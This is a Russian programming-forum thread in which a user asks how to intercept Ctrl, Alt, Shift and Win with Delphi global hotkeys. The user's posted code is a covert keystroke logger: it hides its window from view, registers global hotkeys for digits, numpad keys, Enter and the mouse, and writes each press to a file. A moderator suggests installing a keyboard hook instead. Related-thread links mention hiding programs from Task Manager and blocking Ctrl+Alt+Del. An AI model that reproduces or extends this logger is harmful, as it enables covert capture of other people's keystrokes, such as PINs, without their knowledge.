Форум программистов, компьютерный форум, киберфорум
Delphi
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.78/41: Рейтинг темы: голосов - 41, средняя оценка - 4.78
12 / 12 / 4
Регистрация: 23.10.2008
Сообщений: 33
1

Как обработать нажатия Ctrl,Alt,win,shift??

02.01.2009, 23:09. Показов 7463. Ответов 5
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Пробывал через регистрацию глобальных горячих клавиш,но чет не проперло
Delphi
1
2
lmouse_button := GlobalAddAtom('Hotkey21');
   RegisterHotKey(Handle, lmouse_button, 0,  VK_LCONTROL );
Смотрел в Message.pas коды клавиш, через регистрацию горячих клавиш не работают
вот ети:
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
VK_LSHIFT = 160;
  {$EXTERNALSYM VK_RSHIFT}
  VK_RSHIFT = 161;
  {$EXTERNALSYM VK_LCONTROL}
  VK_LCONTROL = 162;
  {$EXTERNALSYM VK_RCONTROL}
  VK_RCONTROL = 163;
  {$EXTERNALSYM VK_LMENU}
  VK_LMENU = 164;
  {$EXTERNALSYM VK_RMENU}
  VK_RMENU = 165;
  {$EXTERNALSYM VK_PROCESSKEY}
  VK_PROCESSKEY = 229;
  {$EXTERNALSYM VK_ATTN}
  VK_ATTN = 246;
  {$EXTERNALSYM VK_CRSEL}
  VK_CRSEL = 247;
  {$EXTERNALSYM VK_EXSEL}
  VK_EXSEL = 248;
  {$EXTERNALSYM VK_EREOF}
  VK_EREOF = 249;
  {$EXTERNALSYM VK_PLAY}
  VK_PLAY = 250;
  {$EXTERNALSYM VK_ZOOM}
  VK_ZOOM = 251;
  {$EXTERNALSYM VK_NONAME}
  VK_NONAME = 252;
  {$EXTERNALSYM VK_PA1}
  VK_PA1 = 253;
  {$EXTERNALSYM VK_OEM_CLEAR}
  VK_OEM_CLEAR = 254;
VK_LWIN = 91;
  {$EXTERNALSYM VK_RWIN}
  VK_RWIN = 92;
  {$EXTERNALSYM VK_APPS}
  VK_APPS = 93;
Че делать подскажите????
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
02.01.2009, 23:09
Ответы с готовыми решениями:

Заблокировать/откл. клавы включая комбинации(ALT+.. , Shift+... , Win+..., Ctrl+ ... )
Вообщем, есть задача: нужно заблокировать/отключить клавиатуру. В поиске искал, но решения не...

Как полностью отключить клавиатуру (ctrl+alt+del, alt+tab, win_пуск)?
Как выключит полныстю клавитуру (ctrl+alt+del, alt+tab, win_пуск)

Отключить клавиатуру (Ctrl+Alt+Del, Alt+Tab, Windows ... ) в WinXP, 2000 please
Ознакомившись с вопросом Zorina aka Zohira, я обратил внимание на Win9x !!!!! Братья...

Ctrl+Alt+Delete и как от него избавиться
Необходимо оградить пользователя от необузданных порывов изучения менюхи возникающей его взору при...

5
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
02.01.2009, 23:28 2
Тебе надо их обработать в своей программе? В смысле, когда твоя форма активна?
0
12 / 12 / 4
Регистрация: 23.10.2008
Сообщений: 33
02.01.2009, 23:38  [ТС] 3
Цитата Сообщение от Vourhey Посмотреть сообщение
Тебе надо их обработать в своей программе? В смысле, когда твоя форма активна?
Нет я скрываю отовсюду свое приложение))Делаю все через глобальные горячие клавиши,а когда регестрирую кнопки шифт,контрл,альт,кнопку win - на них прога не отзывается не входит в обработчик сообщения горячих клавиш млин((,вот и спрашиваю почему???и как по другому обработать???Можно конечно через хук ,но ищу че полегче может не те коды горячих клавишь использую??

Добавлено через 6 минут 19 секунд
Чет я не пойму я и регестрирую их чтоб потом перехватывать в wm_hotkey
Pascal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
 VAR
 j : integer;
 format_file : STRING;
 begin
 format_file := ExtractFileDir(Application.ExeName) + '\';
 if  not FileExists(format_file + 'OutFile.txt') then FileCreate('OutFile.txt');
 AssignFile(outfile,format_file + 'OutFile.txt');//Соединение переменной f с файлом в папке
 //Reset(outfile);
 //Seek (outfile, filesize(outfile));
 Append(outfile);
 //write(outfile);
   if (Msg.HotKey = klav0) or (Msg.HotKey = klav1) or (Msg.HotKey = klav2) or (Msg.HotKey = klav3)or (Msg.HotKey = klav4)
      or (Msg.HotKey = klav5) or (Msg.HotKey = klav6) or (Msg.HotKey = klav7) or (Msg.HotKey = klav8) or (Msg.HotKey = klav9)
      or (Msg.HotKey = num0) or (Msg.HotKey = num1) or (Msg.HotKey = num2) or (Msg.HotKey = num3) or (Msg.HotKey = num4)
      or (Msg.HotKey = num5) or (Msg.HotKey = num6) or (Msg.HotKey = num7) or (Msg.HotKey = num8) or (Msg.HotKey = num9)
      or (Msg.HotKey = enter) or (Msg.HotKey = lmouse_button) then
    begin
      if Msg.HotKey = klav0 then begin Writeln(outfile, '0');CloseFile(outfile);  exit; end;
      if Msg.HotKey = klav1 then begin Writeln(outfile, '1');CloseFile(outfile); exit; end;
      if Msg.HotKey = klav2 then begin Writeln(outfile, '2');CloseFile(outfile); exit end;
      if Msg.HotKey = klav3 then begin Writeln(outfile, '3');CloseFile(outfile); exit end;
      if Msg.HotKey = klav4 then begin Writeln(outfile, '4');CloseFile(outfile); exit end;
      if Msg.HotKey = klav5 then begin Writeln(outfile, '5');CloseFile(outfile); exit end;
      if Msg.HotKey = klav6 then begin Writeln(outfile, '6');CloseFile(outfile); exit end;
      if Msg.HotKey = klav7 then begin Writeln(outfile, '7');CloseFile(outfile); exit end;
      if Msg.HotKey = klav8 then begin Writeln(outfile, '8');CloseFile(outfile); exit end;
      if Msg.HotKey = klav9 then begin Writeln(outfile, '9');CloseFile(outfile);exit end;
      if Msg.HotKey = num0 then begin Writeln(outfile, '0');CloseFile(outfile); exit end;
      if Msg.HotKey = num1 then begin Writeln(outfile, '1');CloseFile(outfile); exit end;
      if Msg.HotKey = num2 then begin Writeln(outfile, '2');CloseFile(outfile); exit end;
      if Msg.HotKey = num3 then begin Writeln(outfile, '3');CloseFile(outfile); exit end;
      if Msg.HotKey = num4 then begin Writeln(outfile, '4');CloseFile(outfile); exit end;
      if Msg.HotKey = num5 then begin Writeln(outfile, '5');CloseFile(outfile); exit end;
      if Msg.HotKey = num6 then begin Writeln(outfile, '6');CloseFile(outfile); exit end;
      if Msg.HotKey = num7 then begin Writeln(outfile, '7');CloseFile(outfile); exit end;
      if Msg.HotKey = num8 then begin Writeln(outfile, '8');CloseFile(outfile); exit end;
      if Msg.HotKey = num9 then begin Writeln(outfile, '9');CloseFile(outfile); exit end;
      if Msg.HotKey = enter then begin Writeln(outfile, '#13#10');CloseFile(outfile); end;
    end;
 
 
 end;
 
 
procedure TForm1.FormCreate(Sender: TObject);
 
const
    VK_0 = $30;
    VK_1 = $31;
    VK_2 = $32;
    VK_3 = $33;
    VK_4 = $34;
    VK_5 = $35;
    VK_6 = $36;
    VK_7 = $37;
    VK_8 = $38;
    VK_9 = $39;
    //VK_SCROLL = 145;
     //VK_RETURN = 13;//Это энтер
     //vk_Delete    = 46;//$2E;
     //vk_Back      = $08;
 begin
ShowWindow(Application.Handle,SW_Hide); // скрытие формы
ShowWindow(handle,sw_hide);
fORM1.Left := 0;
FORM1.Top := 0;
Form1.Height := Screen.Height;
Form1.Width := Screen.Width;
  klav0 := GlobalAddAtom('Hotkey0');
   RegisterHotKey(Handle, klav0, 0, VK_0 );
 
    klav1 := GlobalAddAtom('Hotkey1');
   RegisterHotKey(Handle, klav1, 0, VK_1 );
 
   klav2 := GlobalAddAtom('Hotkey2');
   RegisterHotKey(Handle, klav2, 0,  VK_2 );
 
   klav3 := GlobalAddAtom('Hotkey3');
   RegisterHotKey(Handle, klav3, 0, VK_3 );
 
    klav4 := GlobalAddAtom('Hotkey4');
   RegisterHotKey(Handle, klav4, 0, VK_4 );
 
   klav5 := GlobalAddAtom('Hotkey5');
   RegisterHotKey(Handle, klav5, 0,  VK_5 );
 
   klav6 := GlobalAddAtom('Hotkey6');
   RegisterHotKey(Handle, klav6, 0, VK_6 );
 
    klav7 := GlobalAddAtom('Hotkey7');
   RegisterHotKey(Handle, klav7, 0, VK_7 );
 
   klav8 := GlobalAddAtom('Hotkey8');
   RegisterHotKey(Handle, klav8, 0,  VK_8 );
 
   klav9 := GlobalAddAtom('Hotkey9');
   RegisterHotKey(Handle, klav9, 0, VK_9 );
 
    num0 := GlobalAddAtom('Hotkey10');
   RegisterHotKey(Handle, num0, 0, VK_NUMPAD0 );
 
   num1 := GlobalAddAtom('Hotkey11');
   RegisterHotKey(Handle, num1, 0,  VK_NUMPAD1 );
 
   num2 := GlobalAddAtom('Hotkey12');
   RegisterHotKey(Handle, num2, 0, VK_NUMPAD2 );
 
    num3 := GlobalAddAtom('Hotkey13');
   RegisterHotKey(Handle, num3, 0, VK_NUMPAD3 );
 
   num4 := GlobalAddAtom('Hotkey14');
   RegisterHotKey(Handle, num4, 0,  VK_NUMPAD4 );
 
   num5 := GlobalAddAtom('Hotkey15');
   RegisterHotKey(Handle, num5, 0, VK_NUMPAD5 );
 
    num6 := GlobalAddAtom('Hotkey16');
   RegisterHotKey(Handle, num6, 0, VK_NUMPAD6 );
 
   num7 := GlobalAddAtom('Hotkey17');
   RegisterHotKey(Handle, num7, 0,  VK_NUMPAD7 );
 
   num8 := GlobalAddAtom('Hotkey18');
   RegisterHotKey(Handle, num8, 0, VK_NUMPAD8 );
 
    num9 := GlobalAddAtom('Hotkey19');
   RegisterHotKey(Handle, num9, 0, VK_NUMPAD9 );
 
   enter := GlobalAddAtom('Hotkey20');
   RegisterHotKey(Handle, enter, 0,  VK_RETURN );
 
   lmouse_button := GlobalAddAtom('Hotkey21');
   RegisterHotKey(Handle, lmouse_button, 0,  VK_LBUTTON );
 end;
А выше указанные мной виртуальные клавиши почему-то не действуют???
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
02.01.2009, 23:41 4
Ставь хук.

Добавлено через 1 минуту 7 секунд
контрол, альт и т. д. - модификаторы. А у тебя в registerhotkey что на месте модификаторов? 0. Делай вывод.
0
12 / 12 / 4
Регистрация: 23.10.2008
Сообщений: 33
02.01.2009, 23:50  [ТС] 5
Цитата Сообщение от Vourhey Посмотреть сообщение
Ставь хук.
А если можно пример напишите плиз,а то давно не делал,уже забыл(((,если не трудно

Добавлено через 1 минуту 26 секунд
Цитата Сообщение от Vourhey Посмотреть сообщение
Ставь хук.

Добавлено через 1 минуту 7 секунд
контрол, альт и т. д. - модификаторы. А у тебя в registerhotkey что на месте модификаторов? 0. Делай вывод.
Тваю ма....,сори,вот ступил)))Спасиб

Добавлено через 4 минуты 9 секунд
Pascal
1
2
lmouse_button := GlobalAddAtom('Hotkey21');
   RegisterHotKey(Handle, lmouse_button, VK_LSHIFT,  0 );
Не работает(,если не трудно кинь примерчик с хуком на кнопку win???

Добавлено через 3 минуты 13 секунд
Pascal
1
2
   1. lmouse_button := GlobalAddAtom('Hotkey21');  
   2.    RegisterHotKey(Handle, lmouse_button, VK_LSHIFT,  0 );
Не работает(,если не трудно кинь примерчик с хуком на кнопку win???
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
02.01.2009, 23:52 6
Он не будет работать, так как, с модификатором ждет еще клавиши. Это же хоткей. То есть, комбинация клавиш.
К сожалению, в наличии примера не имеется.
0
02.01.2009, 23:52
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
02.01.2009, 23:52
Помогаю со студенческими работами здесь

По нажатию Ctrl+Alt+v перевести переменную в другое состояние. Как?
Доброго времени суток, господа специалисты! 1. Помогите мне вот в каком вопросе. Нужно по...

ctrl+alt+del в WIN2000/XP как спрятать программу от TaskManager'а
В WIN2000/xp к сожалению нет такой функции как RegisterServiceProcess. Может кто поделится опытом,...

Как узнать, нажата ли сейчас клавиша ctrl, alt или winkey?
Я сделал программу, которая набирает текст, введенный в эту программу, эмитируя нажатия на...

HELP! Cнова этот проклятый Ctrl+Alt+Del!!!
Доброго вам времени суток. Помогите разобраться: как заблокировать пользователю нажатие трех...

Можно ли написать программу для нажатия комбинации CTRL+X?
В общем нужна программа чтобы нажимала сочетание клавиш CTRL и X много раз, допустим после нажатия...

Нужен подсказщик в WinLock! Нужно отключить Alt+Tab, Ctrl+Alt+Del, Ctel+Shift+Esc !!!!!
Здравствуйте! Мне нужна помощь... Нужно отключить вот эти комбинации клавиш в WinLock: Alt+Tab, ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru